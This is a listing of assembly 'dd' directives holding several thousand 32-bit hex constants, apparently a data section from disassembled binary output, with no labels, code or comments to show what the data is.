		dd 0BD0F44E1h, 7784836Ch, 61231189h, 59B46AD7h,	0A4904BE5h
		dd 0DDE6922h, 0CBE720CBh, 5AADAFBh, 767AA5Bh, 56B313D2h
		dd 0B6C3C2B1h, 81E95F06h, 64342BCEh, 30B80D50h,	3824279h
		dd 2B49295h, 5E7C880Fh,	0A2752F43h, 48C98A84h, 4F78Fh
		dd 7087BA01h, 7EE97642h, 1C9091B2h, 0CCD8620Eh,	0E14F3001h
		dd 0A6CDCD06h, 1682CCE2h, 5E34A479h, 402F8901h,	6812094Eh
		dd 29FF4465h, 0EEDF11FAh, 200905D0h, 81757138h,	86506688h
		dd 0F601DC5Ch, 2E4F4890h, 956431AFh, 0D43D3E39h, 581E938Bh
		dd 4060B25Ch, 88073B4Ch, 510ECF81h, 0DE6F3808h,	6E189440h
		dd 2AE95337h, 2D9C0D98h, 41C305E0h, 483290A0h, 0FB2D2402h
		dd 70B1331Eh, 9702B52Ch, 7629A33Eh, 539416F0h, 63E2EA43h
		dd 71436882h, 0A8894379h, 2F96F51Dh, 102D7C92h,	0E2E7715Ah
		dd 0CA4C535Dh, 147D4B7h, 18A52A89h, 71EA05Bh, 27265A9Dh
		dd 3355C994h, 3554D93Fh, 0BFF0522Bh, 3A4892A1h,	2F3141F7h
		dd 3A2B9181h, 6A826057h, 0F12EC67h, 1AE036BAh, 0D8720CA5h
		dd 1841CFCAh, 5C7D8341h, 1D280D00h, 357B6503h, 85804095h
		dd 0C580F694h, 49A12BBEh, 0E9164603h, 52C5C70Ch, 5269DF19h
		dd 1E0B7F78h, 0BFFE4601h, 0D97EB8E2h, 0E655F425h, 9EE7D11Dh
		dd 0D14C5768h, 60ED4FE8h, 5B660ADEh, 1E48B151h,	0F74A100Bh
		dd 56CABE05h, 5CEE876h,	0A489A937h, 3BBDE5FFh, 4D12E28Bh
		dd 23F3EE46h, 0D3DCF84Ah, 0D30B2DBCh, 0A8829602h, 0ED5D3ECFh
		dd 1759ADF4h, 0E0D41064h, 8BD693AAh, 93AAC555h,	0AF2DA8C0h
		dd 1F03BBF0h, 43F63Dh, 36679DE3h, 83120F27h, 0ECB2E054h
		dd 0AC734325h, 80005693h, 2B50F99Dh, 0D5C926E9h, 0AD899792h
		dd 21DE98E2h, 4049016Ah, 65410805h, 4A2B6C67h, 3607ABACh
		dd 0F06B064Fh, 7C8B0C2Ah, 3BCC8951h, 97FB8DC4h,	24E56E5Eh
		dd 9F56C7D7h, 1A22E9C2h, 0E55A9599h, 0BAD36ABEh, 0B266B9E0h
		dd 8620C83Eh, 0B4F59F2Dh, 24CDE461h, 311A0ABDh,	0A706EDDEh
		dd 29EE030Dh, 0F842E9C6h, 0CBB9AD40h, 546E2C19h, 0CCE01F0Ah
		dd 0A30C12E3h, 3C4A5816h, 2D54DE13h, 1B7D105Ch,	298C0F05h
		dd 0D7B3EF15h, 6357B88Bh, 0E9C2D416h, 0B69CF06Dh, 48600913h
		dd 2ECFEE44h, 3689A7B2h, 251061E3h, 4CE8091Ch, 84E0E01Ah
		dd 3F5D1BFCh, 4E833944h, 0E9C2DCA2h, 208E36A5h,	0EFE1FCE4h
		dd 0ADA4BD44h, 595D5709h, 0B67C52B3h, 87C15464h, 0E87AA63Ah
		dd 94AC9978h, 80D90307h, 7C4244C2h, 54305F56h, 169931B0h
		dd 8D8293Ah, 784AEFEDh,	9409F98Bh, 0D1F730DCh, 762B3EA2h
		dd 81E90C1Fh, 98832ACh,	45953A51h, 558A8070h, 0FD89426Bh
		dd 8B0C540Bh, 6857A313h, 13091624h, 0BA016B53h,	0C06048Dh
		dd 0BD1C8428h, 77D22A96h, 0EEE4C20Dh, 437CAF3Ah, 0C7AA6256h
		dd 0B27E4E9Bh, 9753DA60h, 0E7D12C36h, 73EF406Ch, 29E62B3Ah
		dd 2C8BFE5Ah, 0A91E9E12h, 682D76Bh, 32E25725h, 7EBB3BC1h
		dd 0F23EA72Dh, 0A28E4E29h, 0F051994Ah, 0C19E8758h, 804EE392h
		dd 12404E82h, 0B24B6EAh, 640A16E9h, 3AD36B81h, 925F04DDh
		dd 0F825C214h, 4D4083CAh, 57CF7475h, 8031E885h,	446A95EEh
		dd 0F505898Ch, 52E6805Eh, 0E4178E03h, 72C88747h, 17C0D2D5h
		dd 0FB7A0EE9h, 1AB28977h, 960CD661h, 5B8EAC34h,	80E864BFh
		dd 0DB6CA0A5h, 48AB3850h, 657C4A78h, 614BCA00h,	0D3E92623h
		dd 1E6AC3Ch, 3F7F625Ch,	705F5B57h, 0D3C63C3h, 41EE4AE7h
		dd 2228F1AAh, 8C12204Ah, 4CE63D12h, 0AF8A04EFh,	555D0914h
		dd 0A4030591h, 0DA16E00Dh, 6FFCBBAh, 0AE76D6BFh, 6EF0D2Ch
		dd 0CF28C783h, 74E282C2h, 0B189975Ch, 34D3572Bh, 0F102D889h
		dd 0FB313C78h, 709A68D7h, 99463E6h, 7E9C160h, 1E32E681h
		dd 3BB2F864h, 2DEE00CAh, 5E5041C6h, 0FE8A0F3Ah,	0BFE65F82h
		dd 0FEDDC820h, 0F5DB0ECh, 495D726Dh, 0BF9635AFh, 0DAFC773Dh
		dd 9FFE7FFAh, 8739E471h, 681BDC02h, 30BB30C4h, 0EF4BCDAFh
		dd 0BEDC2D50h, 78452713h, 68485480h, 0AD284F58h, 290F81ABh
		dd 1061093Eh, 137892Bh,	2AA7C298h, 1039DF31h, 32D62D00h
		dd 24671435h, 0BEB04E4h, 5EAF2219h, 0C79B33FDh,	60B90148h
		dd 0E8180B3Bh, 14C77C6Ah, 0E520D104h, 6A48B252h, 98AA628h
		dd 0B7B19523h, 75843BD2h, 0ECB9E230h, 0FBD15CB3h, 7280BD27h
		dd 0F1FA1B8h, 0C8FA274Ah, 749B7495h, 5E4B1120h,	0FC1362AFh
		dd 5B52DE6Ah, 0C791B15Ah, 312BDA46h, 0AF2906BDh, 0C2C75F5h
		dd 9F39630Ch, 6F95AA1h,	50DAEA01h, 6F012607h, 8045484h
		dd 8BBF1C8Bh, 28A94BDEh, 0D181CD2Dh, 28509568h,	29BCC04Ch
		dd 20E9220Fh, 739F2FE3h, 8AE9C29Dh, 88ED36Ah, 6C5918A2h
		dd 54D86043h, 9FEA776Fh, 24683340h, 0C00F0562h,	0FC4ED079h
		dd 20EA2920h, 0D0BD4C27h, 0FA56D776h, 8A3E768Dh, 0F0E93B86h
		dd 7CE8CDC6h, 4F872E95h, 0E03580B5h, 2911A27Bh,	5B45C75Ah
		dd 31ABB453h, 89665661h, 7944713Bh, 0EFF38B58h,	82F1B921h
		dd 0D82FFD40h, 739860C9h, 0F7220498h, 0AFC14B52h, 0CF874681h
		dd 50EFCB70h, 7208DD05h, 0EE50C5B5h, 0A57CB874h, 0EB7275FBh
		dd 2AE92328h, 274D858Dh, 7565F788h, 5E7C000h, 3A51C7FEh
		dd 0C5962FB5h, 0F107AF66h, 1BC780E5h, 88D2F730h, 205B2FFAh
		dd 50025C7Ah, 0A7E982B0h, 504479CEh, 0FE48F5F6h, 0E8139EA0h
		dd 0FF05F44Bh, 0D85BD5E1h, 3E133847h, 0FB0171h,	73215F80h
		dd 0F538E90Dh, 3CBA5F0Fh, 0EAB05362h, 0C975741h, 1F05244Ch
		dd 31F727ACh, 0BBEB5F87h
		dd 0FD0A4814h, 941AC700h, 0D78CE97Fh, 18C147B2h, 76403C16h
		dd 0CEDA820h, 226C4BB1h, 0F031620Ch, 1D276CD3h,	7E088E3Ah
		dd 0DAB00A27h, 0A901004Ch, 0A6782D15h, 899D9807h, 0E4B8024h
		dd 0BC3F2712h, 0D5053ED4h, 0A8437DE9h, 6B1C17Bh, 0E4DEC180h
		dd 0D33DF9F0h, 0BB6DEF5Bh, 6879886Bh, 157B7431h, 75EAB789h
		dd 50786A5Ch, 9B932FE9h, 0C02978CAh, 2F2EF97Dh,	66E1835Ch
		dd 68CCF9F7h, 0AE105FD0h, 0D7EC5560h, 0A56E9DFEh, 8009B505h
		dd 20BCB6C5h, 490D5017h, 0E876DF00h, 0F4F023Ah,	5C62AD81h
		dd 0AF8642E3h, 69AADAAh, 90E18008h, 69B8E933h, 0AA05B756h
		dd 0AC7A7ECDh, 0E7D0C637h, 98C30491h, 84293805h, 0FAB6D4CEh
		dd 39AD8FD1h, 2F159D2Bh, 9F7767FDh, 2F3E8E65h, 5B7A07A9h
		dd 7DF55862h, 2944A0F1h, 1B6DC8AAh, 23F37BE1h, 0BE38AB85h
		dd 0D484EFF3h, 5A3EE701h, 0B7BFB4D4h, 0CD8115E9h, 7FC99A25h
		dd 0B95158D1h, 2506EB26h, 4C386828h, 4959D109h,	0FDCFD837h
		dd 0EDE90840h, 3813BD3Fh, 0C67E1C0Eh, 9D8497F9h, 35E9C9E4h
		dd 0FF9CF854h, 86909DB6h, 0FF80F427h, 333D2BA2h, 8F100C90h
		dd 0FC5A733Bh, 0D7898734h, 0DCCC73h, 50BF5418h,	3124E166h
		dd 0D0B51290h, 38CD0C7Ch, 0ED0C6EA7h, 1E4FF5B0h, 0E9D860AFh
		dd 12954A37h, 468BC1C6h, 8E0F4200h, 94E5A137h, 4A781ECFh
		dd 0BB5FDCFEh, 0D506D103h, 0F2E94349h, 0B8D35FE1h, 2C145727h
		dd 75C41AB7h, 68734C76h, 2E20725h, 2C4D215Dh, 0BD2970C2h
		dd 5F6FF2F5h, 0B02EAC55h, 4F5D097Fh, 7E60EB4Ah,	5A70E6F8h
		dd 0E9EFA03Dh, 52DBB027h, 549EC05Fh, 295D0839h,	1BA9295h
		dd 0ECD9E90Ah, 11D52EA5h, 4E2C4449h, 0D68A0F1Fh, 0A014A8D2h
		dd 1B36AB7h, 7AE7819Dh,	3048F823h, 0A7B1E841h, 6A74C501h
		dd 0B86F6CCDh, 3F084142h, 0BFA1B826h, 782D5AD4h, 1A7A0022h
		dd 5BB537Fh, 0C1B0BD52h, 4B366E20h, 0B9BC30ADh,	0D002086Bh
		dd 18E95575h, 8CEA5462h, 810D1646h, 4302AD92h, 575E1DBAh
		dd 570789BFh, 6F6DB061h, 47AC84C4h, 72BF2B7h, 0A52FEDFDh
		dd 0B0F26E7Dh, 0D380B7F0h, 1E6D87B9h, 50893327h, 6F8B97A0h
		dd 0BD0863FEh, 0FE22029h, 15054CDCh, 73E45A40h,	7834E918h
		dd 81BB2049h, 0F857F8F5h, 0F50F8117h, 0EB6B5615h, 7BB6D829h
		dd 0EAEDE4C3h, 335E4B31h, 0BAB568C4h, 19E56091h, 8E38EC2Ah
		dd 33A99681h, 4EF2A885h, 4163EFDFh, 0EC050C75h,	47F71E96h
		dd 6BEDD101h, 98710373h, 4E7CAEE8h, 0E205FBE1h,	95C85B91h
		dd 0C2141FF6h, 3FD19E2Ch, 64D50851h, 0B2D8F27Eh, 27CE465Ch
		dd 516148E9h, 8AE93028h, 335BC9B5h, 2AF78D7Bh, 27C628EBh
		dd 5A8C8795h, 7FD05569h, 0C725F89Ch, 0F95D1743h, 59CD8084h
		dd 0B77D0268h, 0E92D6796h, 7DBAC2EAh, 84C9C55Bh, 0EFED6775h
		dd 0B8EAC1C4h, 9E69299Ch, 97225F27h, 89DF4AE9h,	0D1835E0Bh
		dd 0CD493166h, 0EEE1605Bh, 0A298E92Dh, 5C83B1E3h, 53F896FFh
		dd 0AE05134Eh, 2E095335h, 2E098A7Ch, 2912ED01h,	0C814FAEh
		dd 0C7A5FB68h, 0D2A42455h, 28A90617h, 70366A1h,	0B12C405Dh
		dd 0F7134993h, 0B708C528h, 6168A0A2h, 0E402257h, 0EBF37716h
		dd 58566805h, 2D6DDFBh,	7D0B4BFDh, 2010E710h, 0C20B49CBh
		dd 5595F79Fh, 0CA0FDCACh, 897C8245h, 969BD1F7h,	138AB631h
		dd 8DCAF821h, 0E25EEE4Fh, 572515DCh, 0E984BE65h, 0A2EB2922h
		dd 2AB8DF4Bh, 4190C353h, 18231A3Dh, 0F6B73E70h,	65F51252h
		dd 0E32D870Dh, 305BEF9Ch, 281621BCh, 1EAA40DBh,	2D58D250h
		dd 0E760F70Ch, 0A3057C2Ah, 0E9BF0A07h, 0EB460FCDh, 3F6160DDh
		dd 1BDD9785h, 0F3BBDAh,	9763EE31h, 0F189CBBDh, 0E2A58CC4h
		dd 4504AB17h, 0A6F2D5F7h, 0B77307C1h, 0D0B42A64h, 0FB0300C5h
		dd 3E05A10Fh, 330A325Dh, 72DE801h, 0E123E90Bh, 94C6532Ch
		dd 4117FEE6h, 433E2044h, 277C2F26h, 0F0C96112h,	470AEE00h
		dd 73735C8Fh, 70B8F805h, 0D1F4148Ch, 88FFF113h,	6B9756BFh
		dd 4F656DCh, 324E680Ah,	9E6CC1EDh, 0EAD5C235h, 74F2FDF7h
		dd 0DA73DCBDh, 40A40074h, 5D1E2D1Ah, 0FF6FAE72h, 9D18D603h
		dd 7F2D590Ah, 274B2DE4h, 6B5307C1h, 6B89DCA9h, 0DBA86559h
		dd 0BB702C0Fh, 31A7C41Ch, 892F2EA7h, 67095FDAh,	894FD412h
		dd 4285766Ch, 80093ECEh, 0E77D3589h, 0E7B00Eh, 28872078h
		dd 55868B0Fh, 1235ABC6h, 7A526056h, 2A0B2687h, 18FBBA05h
		dd 0D3B0137Ah, 60D74151h, 9D622E2Ch, 0A084D23Dh, 2959C8C0h
		dd 5BEFFEC1h, 0F62DBFBAh, 0A6021E93h, 695712D8h, 0B3AA65AEh
		dd 0C6E90CC1h, 0AB820F6h, 63ED1D0Ch, 0EBA6BFA3h, 0CA0B20C6h
		dd 0A5F1E098h, 59F4E500h, 120460Eh, 93FA50F2h, 8F1A125Bh
		dd 9CBA042Fh, 2A56CA8Bh, 32CCA33h, 8548E1EDh, 60F7409h
		dd 0C1765E8h, 8836B151h, 0E026D0F8h, 9A339834h,	0E9A79980h
		dd 0A17C70FAh, 0D02EFAB8h, 661BEF0Ch, 1621309h,	83208F7h
		dd 8F597E25h, 0B07521E9h, 44D1171Ah, 6342BD42h,	8530975Fh
		dd 0BEE5ACE9h, 0E1695A89h, 5BD88B9Eh, 0CA4A8F75h, 0E9C180FDh
		dd 0C94C9FB0h, 50DA3201h, 0CBAB38FAh, 8D1B080Bh, 7A0A3CE9h
		dd 3F082447h, 898B110Eh, 0B1841043h, 31DA6BF3h,	0DE4085Fh
		dd 46927725h, 11643FC1h, 856090EBh, 9DA4F6D4h, 5455D0C2h
		dd 5126F0CDh, 7792797h,	2D2B3783h, 1A7DDF65h, 0EAFC5721h
		dd 0A2323159h, 56D04F13h, 60DABA30h, 0E682C55Eh, 0F7F04A75h
		dd 0FFD72133h, 9B158A80h, 1CE58161h, 687425ADh,	4F080B9Eh
		dd 0BF007D48h, 0E1F19B8Bh, 0DDBFC895h, 0E8213B5Bh, 8A8D444Eh
		dd 778D1C1Ah, 0C609728h, 0D4424130h, 36B2A1EEh,	7281535Ah
		dd 0E2073C26h, 0D3554BAFh, 704CBE13h, 9D5DB35Fh, 6FA2EA80h
		dd 270F3DCDh, 0A950E883h, 5A18DCBDh, 4AB5165Dh,	0CD9D8151h
		dd 35F62F9Dh, 0E94B104Ch, 87E90B6Ch, 98AC94B5h,	0BADE5B2Ah
		dd 0AB3B567h, 2D1776B8h, 905F59D9h, 4BF85029h, 17F752FEh
		dd 4A22F8ABh, 0BBAC33BAh, 599F4D70h, 0F9789546h, 53768725h
		dd 0AD9AF70Eh, 9D147293h, 6268F501h, 5DED5469h,	0A7FA1F6Fh
		dd 19012254h, 0DA29B01Eh, 9E10B427h, 0C7300086h, 0B0505866h
		dd 90FAFA67h, 855B4AA5h, 0A5D9BF0Ah, 0E920C1F1h, 0BC029F5Ah
		dd 0FDD4628Eh, 0FD1AC624h, 9E54570Ah, 31315825h, 0D56EE7C0h
		dd 3E413258h, 4DDF9E9Eh, 3CB140D2h, 9CE34E43h, 6EC78DEBh
		dd 68D0AAE1h, 0A874B772h, 0CE49DAA0h, 0E7E226E4h, 8D90F209h
		dd 0FC38E46Fh, 90E16E17h, 0E548872Bh, 0B6211A30h, 0F01762Dh
		dd 6805201Fh, 847FF147h, 0B22CBBC1h, 8FE91252h,	416CBE05h
		dd 94DAB55Ch, 0E87851BFh, 0D3750CC9h, 0F8012D90h, 11B473Fh
		dd 74205D8h, 97B6D05Bh,	3069567Bh, 4A4BBF13h, 10BAB862h
		dd 68171B34h, 99FC58Ah,	0E5D42137h, 0F30E919Ch,	0A6D90F5Ah
		dd 271A1116h, 7F8295Fh,	3C2B7697h, 4E204CCCh, 2C4AB802h
		dd 0D7316DD6h, 7B587049h, 58F391D2h, 9552B0E5h,	68185636h
		dd 829362C3h, 80EA99F6h, 0CD027605h, 9F0E2D52h,	744E3429h
		dd 6074189h, 0F49D23D4h, 74E9D866h, 2D01FEB4h, 0E67B9BB1h
		dd 3F2AE9h, 6FF0BE0Bh, 817C0C56h, 8547F40Bh, 1EE07572h
		dd 113F0493h, 4EF6003Fh, 0E91071CAh, 5FEA4052h,	44BEF197h
		dd 28AD9147h, 2A6E21CFh, 8EFD0BBEh, 2035524Eh, 0B6A088E7h
		dd 0BF602BFh, 0D268622Bh, 71E71F5h, 945A01BAh, 3826C012h
		dd 3D5BD44Ch, 0B91080A9h
		dd 0C8FE1639h, 5E90E809h, 407975Eh, 0ACF1E6A2h,	3634A11Ah
		dd 242A680Ch, 0E92E3978h, 93BAB839h, 63A3CD28h,	881FB306h
		dd 0A5277CDCh, 0CB801BD1h, 152F5011h, 0BF24B2BFh, 0BF5457F6h
		dd 18B002E5h, 2425F068h, 8FF0677h, 0BA26F4B4h, 4E79662h
		dd 1038EB5Ch, 0FA802CE9h, 6BBA6B67h, 0E65C4842h, 0AC499CB3h
		dd 0EB1CB8E8h, 14FF2529h, 405A98FBh, 86120F6Ah,	6CFEB4BCh
		dd 9A7F5E44h, 0EA315D9Fh, 0AC452EFEh, 9909CC78h, 9004648Ah
		dd 206D17B3h, 0EED507C6h, 45C53071h, 0A59AD7E9h, 2EE83024h
		dd 39406807h, 7A4E7749h, 0D265E909h, 5A7AFEFEh,	2EFBA48h
		dd 2631CDB0h, 0F3D63339h, 0F921322Bh, 0A377744Ah, 0EAAAEBCAh
		dd 0BF8155C7h, 29C679E9h, 6856C1FCh, 3B3828BFh,	0E5F55589h
		dd 9252432h, 0F1DFFEE5h, 91F3976Fh, 0E006EAD3h,	59B50720h
		dd 0A85CC5A1h, 90DDB1F6h, 5AD4CB7Ah, 0CBC16E90h, 0B1569FFEh
		dd 257B6472h, 9AAC3A05h, 685B5718h, 8E614BEFh, 85573AABh
		dd 16FEA1B7h, 0B3F9CCC3h, 87A89D4Bh, 28232C0Eh,	66277ABFh
		dd 5399E489h, 5CBF28EBh, 33EFA78Fh, 7959BDC2h, 1FDE49E7h
		dd 72196861h, 0A83BB74Dh, 77E3C975h, 47C09A1Bh,	1260A274h
		dd 0F2E955F1h, 0E2B0B730h, 1AA4722Ch, 4E47644Dh, 0E9B0BFBCh
		dd 0DB99F5A1h, 21F18087h, 845A893Fh, 6680ED16h,	0AD3495h
		dd 492CD8F6h, 1CE9C330h, 0BF1C4197h, 0B479A93Bh, 0B0D3D0A8h
		dd 0CF41F0ACh, 3569FAA7h, 6AEC7E0Ch, 65DBE9B1h,	344C4745h
		dd 3873D80Fh, 5D2506BEh, 0FB3F8065h, 55FB0BB5h,	0F8FC0948h
		dd 59CC13DFh, 9EA3DACh,	48CF1EB6h, 8039D077h, 9D86E908h
		dd 0E5C06101h, 3068E07h, 9D6C980h, 0E83B02E9h, 41D0EA3Ch
		dd 49112F1Bh, 9A447E32h, 0F7BA6F03h, 0F18101FDh, 7EC40FF6h
		dd 579806Ch, 826B34C7h,	3C13EF25h, 80E549A8h, 674FB879h
		dd 0CA060B7Ch, 262F7ABCh, 4C9D090Ch, 67806FDAh,	6763E36Ch
		dd 5C77E927h, 305D2D07h, 0BAFC6B0Bh, 0EAEA5BECh, 628B2341h
		dd 816B4AD8h, 4BE1570h,	8561F8AFh, 1C8D6A8Ch, 918DC5E0h
		dd 75C0AF22h, 472F7FDAh, 7066742Ch, 21552FE9h, 87BC7EE6h
		dd 0F7470804h, 0BDCE8DFh, 343923h, 0B42418EAh, 930CC14Ch
		dd 0F05AA035h, 5603AEEEh, 72E9590Ah, 0E38057CFh, 0FD4F7Ch
		dd 81E6D190h, 34165ECEh, 0A60C4FFEh, 0B6B0E2A6h, 0CBE23A36h
		dd 5B052FDAh, 0CA24E3B6h, 1040275Ch, 0FDE4D788h, 3E5A5B3Bh
		dd 0CACEBBEEh, 4A4076DDh, 16F255CFh, 53ADE94Ah,	0D770F3E3h
		dd 0F932AEBh, 65FC3BEFh, 76A857C8h, 95609050h, 718934DEh
		dd 0E31BFF30h, 81ECA7C9h, 4ADCCD99h, 0E5D80AA5h, 0D0151F2Bh
		dd 1F5016Bh, 0D14BD976h, 31097AE9h, 0D5307E7h, 72E62B8Fh
		dd 62F40968h, 4AD54335h, 0E9B6222Ah, 9A54557Ch,	786AD4AFh
		dd 0BA9C10E9h, 5381B101h, 0ABD55152h, 9515F6F0h, 7A5E9B68h
		dd 0C361337h, 3FDA6040h, 72D030E9h, 0DA46822h, 0A818B230h
		dd 724E11CDh, 4B09B564h, 717D2A29h, 0EE895061h,	4EC512DCh
		dd 2EA2A7Ch, 35EFE961h,	2CF7C6FDh, 90A7C88Bh, 66071734h
		dd 9BC762FBh, 8D55A40Fh, 431F21EEh, 0EED383A5h,	803FA253h
		dd 574BA2Dh, 0F0010DECh, 21071605h, 7DD8FE64h, 0A0E02733h
		dd 699CE739h, 0B1576FDh, 0F571ACF7h, 0C00C14D0h, 180F6D12h
		dd 466025Fh, 27CDE921h,	240E3E44h, 0C057A303h, 355E2FE3h
		dd 39CBF814h, 61826B7Eh, 3373E94Bh, 5251A1DFh, 0D3E9EA88h
		dd 305A032Bh, 0F3D059EEh, 0EB38805Ah, 66E30778h, 126DB652h
		dd 0E9FCED31h, 0E2429FBBh, 3FFF655Dh, 5B40CA2Dh, 98BA2CD2h
		dd 2B56CE4Ah, 77A7101h,	0C2F30131h, 0A9088FC1h,	5D37E1ABh
		dd 0D7FCA62Eh, 2954AF01h, 0BC2B3621h, 91FC346Dh, 310481FAh
		dd 51270A4Eh, 188E027Dh, 5EE2A313h, 360B1081h, 71BE0706h
		dd 55217F5Dh, 4AED6850h, 0A46AF731h, 806983FDh,	804C5535h
		dd 24C2C120h, 59F6F529h, 0A0ED6E87h, 8E65BF97h,	0AD2BE1BBh
		dd 0FB22770Ch, 0BD0136F8h, 0D0C37630h, 3A1F282Dh, 578E0B9Eh
		dd 0AAB2B93Eh, 75073F10h, 9E911A0h, 74B73970h, 3BE45060h
		dd 3F6270BCh, 395909D8h, 0BB4217ACh, 0D9F600F8h, 4505E180h
		dd 2CC3890Fh, 52330ABDh, 93BAD8FBh, 534C38F8h, 341F00B9h
		dd 866813DAh, 0E96AE173h, 0CFBB97D9h, 0C9FD2AFEh, 3AB96638h
		dd 5E26636Ch, 0C524CE52h, 0E2D1F71Ah, 950092AAh, 390A01EBh
		dd 58290925h, 5ADD17DCh, 0FE2F48Dh, 2D318B3Fh, 10A73AAEh
		dd 0BA2C65E9h, 1E998C31h, 4A5F91A5h, 138D61FFh,	5F5CA32Ah
		dd 500C1FCh, 0F7E7A68h,	9BBCF029h, 7DEE1900h, 18B4C981h
		dd 0C2078376h, 8E13FA72h, 84EE058Fh, 0EC1EEAFAh, 2751DAEDh
		dd 0CF52C649h, 4B8AF12Ah, 2F486812h, 21270EA3h,	30D1CD69h
		dd 84976F24h, 0FCBAAC66h, 56E9B046h, 8388B4C1h,	6A5B14DBh
		dd 0B9D4D9h, 4E76F180h,	0B62FBC20h, 0EDF34E3Eh,	86EE7513h
		dd 0F97E0C41h, 4033279Dh, 7C5159C7h, 860B1268h,	8478B972h
		dd 57099C77h, 0F7CF9B06h, 0B0E1614Fh, 5CC1DD29h, 2B57DF68h
		dd 0BF6A530h, 0B42A501Fh, 1A6F0526h, 0ACF4E955h, 5CF250BEh
		dd 0F8473240h, 0E2C05B38h, 0C556CFA3h, 7796EE4Dh, 0FCC52042h
		dd 2020587Dh, 45285B5Bh, 98C57DD2h, 0C76BB10Eh,	0F7AE5210h
		dd 0B5E7A92Eh, 52738CFAh, 0A25AE92Ch, 0D1E6DDA5h, 67B2BF1Fh
		dd 0F40E1F13h, 5E43D48h, 0DD229A09h, 11DB4212h,	855C67CBh
		dd 0E31FECE9h, 32480214h, 0D95770AEh, 22ED8F95h, 0F93C5825h
		dd 7C08415Ch, 12E07CCFh, 0B4E97C13h, 984FE3AFh,	717D3F52h
		dd 1CCF906Ah, 6E9582C5h, 25D4108Ch, 809A765Bh, 0AEC280F9h
		dd 0E969152Ch, 0EA86A7E2h, 7D402442h, 52707B56h, 6DE616BAh
		dd 1F6D097Bh, 0CDF62A8h, 0E745F110h, 882D0F09h,	0B9097402h
		dd 0EC037DFAh, 68E80310h, 0E9FD291Fh, 0E9D7BEB4h, 0FEC107B5h
		dd 672FFEC9h, 0DA66B73Ah, 23F58093h, 89735A1Fh,	0D0B5A4B8h
		dd 2034B39h, 0F3295F5Eh, 0A5DC095Dh, 0B3AF5DD1h, 87ACD65Ch
		dd 8C8FC3A1h, 50C44270h, 0CE70035h, 0DD0D47AAh,	141C282Ch
		dd 5F398A0Fh, 27A100ACh, 0D1130E50h, 0E188AEE7h, 21914DE9h
		dd 3229BE4Ah, 253F1261h, 0EEC4EAB8h, 4EA8FCAFh,	0C261B9A1h
		dd 2C178529h, 0D6B8E31Eh, 4FDC9BBEh, 5183136h, 33985F51h
		dd 0DAD8201h, 0FB951B58h, 0D1BE0040h, 0E949AD12h, 0F7C57F27h
		dd 71E81E19h, 70E33BA8h, 2C53FB5Eh, 0B1948707h,	83F089E2h
		dd 5B478576h, 9371EB20h, 8105D07Eh, 61D5795Fh, 2E0F2838h
		dd 0B6A406ECh, 3A686658h, 78591C1Bh, 5242B709h,	32967FE5h
		dd 4FA2925h, 6DEAD3h, 2A7068B8h, 0BB5314C9h, 340BBB74h
		dd 0EF80DBF7h, 1A613638h, 3E4F50BFh, 922E943h, 76D4EB4Fh
		dd 738C2D80h, 0D9794C07h, 88DC5E26h, 5205086Bh,	4BB15A5Bh
		dd 0E303466Bh, 0E6779156h, 77C91B2Eh, 53C1FFA5h, 3FAF425Eh
		dd 0DD59E149h, 79768ACh, 5D2EF9B9h, 40BE09A4h, 0F4627E75h
		dd 724E91Fh, 56F34A3h, 27FB7BC7h, 27F48AD9h, 0ACF24A18h
		dd 22E1D9F7h, 6DF904C2h, 0BCBF6B77h, 22161CD5h,	0EA9CDD2Dh
		dd 0D378E918h, 0AA1EE3Dh, 3169207Ah, 0E14C1680h, 17824505h
		dd 9752EAF5h, 241486EEh, 0D49DD8EAh, 0E05D7A1Ch, 0B5FEFA54h
		dd 8962D4D4h, 0EE54042Ch, 4E891A4h, 0C11F694Ch,	4400FFE6h
		dd 194E3439h, 93829729h, 0BDD411D4h, 71376380h,	0EEEAC14Ah
		dd 0B653FE42h, 7E35016Bh
		dd 3B384D5Eh, 0B93D41AAh, 7A29554Ch, 70094012h,	0CB40F707h
		dd 7825561Eh, 0DB407FA3h, 94CB459Fh, 5D48305Eh,	0F699551h
		dd 9057A55h, 8DF65A54h,	8E8B5089h, 146B885h, 4D94AAFh
		dd 3A4E65E0h, 0ABB4E3B8h, 50921A0Bh, 0B7BA1DB6h, 1CC822Ah
		dd 42565AD5h, 6C3B312Ch, 1E215835h, 0D209D934h,	6A3BE1A8h
		dd 0A938D201h, 0B12AA64Ch, 55A72A38h, 0ED52134Bh, 0C2FDD2CAh
		dd 2DBCE90Dh, 33D0F812h, 2F460D3Dh, 7F9E0B14h, 9452B06h
		dd 8B5E1EF8h, 403C564Ch, 90DD955Fh, 0BADAE904h,	0AC2AF9DCh
		dd 0C8BEB433h, 0C12F5D62h, 52A4F4FEh, 12C395C0h, 0E93D7A05h
		dd 89D19F0Fh, 0EE3916E3h, 1C8F2086h, 7F685002h,	0E5371F18h
		dd 782D8102h, 6007F25Fh, 0ED621305h, 4288651h, 87BAFC58h
		dd 0F58BCC8Ah, 768B8F45h, 4BB3102Fh, 2EA52534h,	0FDCD2BF7h
		dd 0E80A754Ch, 0E2072D7Ch, 93329D0Bh, 0D2FBECC5h, 0B16A56D2h
		dd 18B71A40h, 0E2AB16D3h, 8AAB4B53h, 48CB9707h,	5FA1615Bh
		dd 9480787Fh, 899E78AFh, 0D7C9611Fh, 63087C64h,	105896F8h
		dd 3B272643h, 1205CD12h, 6105A154h, 0CAFF8343h,	24AECBBDh
		dd 0A8BB40FDh, 97125AA9h, 15D9B6AEh, 12C9F061h,	9FE36ACEh
		dd 12C0C17h, 763594FBh,	0BD077E20h, 75D90244h, 0E2334818h
		dd 0C8B2FE5Ah, 23BB3B5h, 0A7D07B8h, 0B729C138h,	0BD5812D8h
		dd 0E9896DD6h, 546FE21Dh, 0F39A7B7Ah, 50374857h, 287CE270h
		dd 80063558h, 82DEE224h, 51DDD0D7h, 931FD78h, 3F0D5FAh
		dd 0DF0B0B9Dh, 8A0DE990h, 0D6873EA8h, 2DBE47F4h, 0C9465915h
		dd 24567652h, 0D9E704D6h, 4F4FEFEh, 0DDD44F14h,	53404281h
		dd 729FFE0Bh, 3DC96C75h, 0E3DA9168h, 0B1B2760h,	1723F56Ch
		dd 591665A5h, 6B269C0h,	700B5302h, 4A0F2911h, 58800A2Ch
		dd 0DBB17A2Dh, 0C3012F54h, 6861A6F9h, 0E73A1ABFh, 0F966CB7Ch
		dd 0C53217F3h, 1571BF49h, 5A03BF25h, 2B02CFB1h,	680948E9h
		dd 57593662h, 0A34E7B80h, 95E2C12Ah, 21DF4282h,	8791E901h
